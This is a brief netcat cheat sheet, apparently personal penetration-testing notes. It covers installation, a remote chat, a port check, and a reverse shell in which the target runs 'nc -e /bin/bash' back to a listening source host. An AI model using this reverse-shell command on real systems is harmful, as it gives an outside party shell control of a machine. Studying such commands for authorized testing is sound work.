Netcat (nc)
sudo apt install netcat
Reverse shell
- Source
nc -nvl -s <source_ip> -p <source_port>
If you add -e here you can execute commands from target to source also
- Target
nc -e /bin/bash <source_ip> <source_port>
Remote Chat
- Source
nc -nvl -p <source_port>
If you add -e here you can execute commands from target to source also
- Target
nc <source_ip> <source_port>
Check if port is open
nc -nv <target> 22